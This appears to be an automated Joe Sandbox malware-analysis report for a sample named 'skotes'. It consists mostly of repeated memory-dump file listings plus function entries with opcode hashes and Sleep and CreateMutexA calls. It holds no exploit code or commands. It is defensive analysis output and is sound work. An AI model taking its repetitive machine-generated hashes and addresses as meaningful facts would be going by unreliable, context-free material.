Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 90f6969e05776164ad4cf0a4ba04747f148e1eea800c8a6a67211dbd1dc94e7f
Instruction ID: d5d0fd946bc9a1b725a5727adc8b818626893ece5cd91217bb23d779357e8ff6
Opcode Fuzzy Hash: 90f6969e05776164ad4cf0a4ba04747f148e1eea800c8a6a67211dbd1dc94e7f
Instruction Fuzzy Hash: BB315B31720244DFEF08EB7CDC8DB9EB762EF86310F244619E058A72D1C77689958712

Function 00C3A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c505e86dd6b9f2a3e79c3152ecaa54be0c4a26498510a51755c4173220e05c53
Instruction ID: 5cc4504c442cafd3a8e0e207a313f8fe06cfae28cac38521811cad7d53ffbecd
Opcode Fuzzy Hash: c505e86dd6b9f2a3e79c3152ecaa54be0c4a26498510a51755c4173220e05c53
Instruction Fuzzy Hash: E03148317202049BEF18EB78DCCDBADB762EFC1310F244619E094AB2D5D77589958762

Function 00C3A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 407cd3804abb9babcd2171b12be5eda1cbcbbfe6571274fde04ac677863446e3
Instruction ID: 2d7760a97af9e7859d78d39866a5fd49d3361b547a3a88657b4946dda2cb340e
Opcode Fuzzy Hash: 407cd3804abb9babcd2171b12be5eda1cbcbbfe6571274fde04ac677863446e3
Instruction Fuzzy Hash: 3C3126317246049BEB18EB78DCCDBADB762EBC5314F244619E094AB2D2CB3589918722

Function 00C3A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186565354.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186594652.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186621752.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186650779.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186674888.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186701974.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186731586.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186761811.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186794046.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186822718.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186852195.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186878289.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186906548.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186933648.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186959153.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186983015.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187006215.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187031570.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187059579.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187089949.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187112931.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187164617.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187193542.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187217659.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187242244.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187269070.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187292591.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2187316344.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9670e9abcd1c5b808dbd26cfec045d26e4ffe48fb2fd7c53d8996b3ca0a62df0
Instruction ID: 9549615ddb2aea86cba48436600aced28326571d9f8a0e7d0817e1b5410db5c4
Opcode Fuzzy Hash: 9670e9abcd1c5b808dbd26cfec045d26e4ffe48fb2fd7c53d8996b3ca0a62df0
Instruction Fuzzy Hash: EB3128317242049BEF18EB78DCCDBADB772EB82310F248619E094AB2D1C77589958762

Function 00C39ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00C3A963
CreateMutexA.KERNELBASE(00000000,00000000,00C93254), ref: 00C3A981

Memory Dump Source

Source File: 00000006.00000002.2185747252.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000006.00000002.2185717107.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185747252.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185823880.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185848679.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185875284.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2185984338.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186008639.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186039947.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186064799.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186090487.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186143742.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186170876.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186199087.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186222936.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186247899.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186274195.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186301234.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186324481.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186351878.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186378704.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186407331.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186441351.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186481806.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186511511.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2186538887.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
